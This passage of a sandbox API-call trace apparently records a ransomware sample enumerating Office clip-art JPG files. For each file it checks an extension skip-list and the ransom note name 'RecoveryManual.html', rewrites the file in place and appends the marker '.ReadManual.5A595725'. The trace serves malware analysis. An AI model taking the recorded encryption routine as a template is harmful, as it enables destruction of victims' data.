0x20 [0270.134] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.134] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=93448) returned 1 [0270.134] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16d08, lpName=0x0) returned 0x184 [0270.134] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.135] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.135] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.137] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.137] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16d08) returned 0x1de0000 [0270.143] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.143] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39081179151) returned 1 [0270.143] CloseHandle (hObject=0x184) returned 1 [0270.143] SetSecurityInfo () returned 0x57 [0270.143] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.143] CloseHandle (hObject=0x194) returned 1 [0270.143] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1 [0270.143] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382968.JPG" | out: lpString1="J0382968.JPG") returned="J0382968.JPG" [0270.143] lstrcmpiW (lpString1="J0382968.JPG", lpString2="RecoveryManual.html") returned -1 [0270.143] StrStrIW (lpFirst="J0382968.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.143] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.144] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.144] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.144] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.144] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.144] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.144] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.144] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.144] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.144] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.144] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.144] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.144] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.144] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.144] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" [0270.144] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.ReadManual.5A595725" [0270.144] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.ReadManual.5A595725") returned 87 [0270.144] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39081279541) returned 1 [0270.144] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg")) returned 0x20 [0270.144] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.145] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=112479) returned 1 [0270.145] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b75f, lpName=0x0) returned 0x184 [0270.145] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.145] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.145] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.147] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.147] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b75f) returned 0x1de0000 [0270.150] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.151] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39081961802) returned 1 [0270.151] CloseHandle (hObject=0x184) returned 1 [0270.151] SetSecurityInfo () returned 0x57 [0270.151] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.151] CloseHandle (hObject=0x194) returned 1 [0270.151] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1 [0270.151] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382969.JPG" | out: lpString1="J0382969.JPG") returned="J0382969.JPG" [0270.151] lstrcmpiW (lpString1="J0382969.JPG", lpString2="RecoveryManual.html") returned -1 [0270.151] StrStrIW (lpFirst="J0382969.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.151] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.151] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.151] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.151] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.151] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.151] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.151] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.152] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.152] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.152] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.152] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.152] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.152] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.152] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.152] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" [0270.152] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.ReadManual.5A595725" [0270.152] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.ReadManual.5A595725") returned 87 [0270.152] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39082059149) returned 1 [0270.152] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg")) returned 0x20 [0270.153] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.153] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=96159) returned 1 [0270.153] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1779f, lpName=0x0) returned 0x184 [0270.153] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.154] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.154] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.156] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.156] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1779f) returned 0x1de0000 [0270.159] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.159] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39082786048) returned 1 [0270.159] CloseHandle (hObject=0x184) returned 1 [0270.159] SetSecurityInfo () returned 0x57 [0270.159] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.159] CloseHandle (hObject=0x194) returned 1 [0270.159] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1 [0270.159] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382970.JPG" | out: lpString1="J0382970.JPG") returned="J0382970.JPG" [0270.159] lstrcmpiW (lpString1="J0382970.JPG", lpString2="RecoveryManual.html") returned -1 [0270.160] StrStrIW (lpFirst="J0382970.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.160] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.160] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.160] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.160] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.160] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.160] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.160] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.160] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.160] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.160] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.160] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.160] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.160] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.160] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.160] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" [0270.160] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.ReadManual.5A595725" [0270.161] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.ReadManual.5A595725") returned 87 [0270.161] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39082990456) returned 1 [0270.161] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg")) returned 0x20 [0270.161] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.162] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=88980) returned 1 [0270.162] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b94, lpName=0x0) returned 0x184 [0270.162] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.162] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.163] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.164] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.164] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15b94) returned 0x1de0000 [0270.175] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.176] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39084446729) returned 1 [0270.176] CloseHandle (hObject=0x184) returned 1 [0270.176] SetSecurityInfo () returned 0x57 [0270.176] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.176] CloseHandle (hObject=0x194) returned 1 [0270.176] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1 [0270.176] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0384862.JPG" | out: lpString1="J0384862.JPG") returned="J0384862.JPG" [0270.176] lstrcmpiW (lpString1="J0384862.JPG", lpString2="RecoveryManual.html") returned -1 [0270.176] StrStrIW (lpFirst="J0384862.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.176] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.176] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.176] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.176] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.176] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.176] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.176] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.176] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.176] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.176] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.176] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.176] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.177] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.177] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.177] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" [0270.177] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.ReadManual.5A595725" [0270.177] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.ReadManual.5A595725") returned 87 [0270.177] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39084545294) returned 1 [0270.177] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg")) returned 0x20 [0270.177] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.177] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=102633) returned 1 [0270.177] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x190e9, lpName=0x0) returned 0x184 [0270.177] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.178] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.178] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.180] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.180] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x190e9) returned 0x1de0000 [0270.183] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.184] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39085277741) returned 1 [0270.184] CloseHandle (hObject=0x184) returned 1 [0270.184] SetSecurityInfo () returned 0x57 [0270.184] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.184] CloseHandle (hObject=0x194) returned 1 [0270.184] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1 [0270.184] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0384885.JPG" | out: lpString1="J0384885.JPG") returned="J0384885.JPG" [0270.184] lstrcmpiW (lpString1="J0384885.JPG", lpString2="RecoveryManual.html") returned -1 [0270.184] StrStrIW (lpFirst="J0384885.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.184] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.184] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.185] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.185] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.185] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.185] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.185] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.185] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.185] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.185] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.185] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.185] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.185] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.185] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.185] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" [0270.185] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.ReadManual.5A595725" [0270.185] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.ReadManual.5A595725") returned 87 [0270.185] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39085378103) returned 1 [0270.185] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg")) returned 0x20 [0270.185] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.186] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=97145) returned 1 [0270.186] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17b79, lpName=0x0) returned 0x184 [0270.186] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.186] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.186] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.188] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.188] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17b79) returned 0x1de0000 [0270.191] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.192] 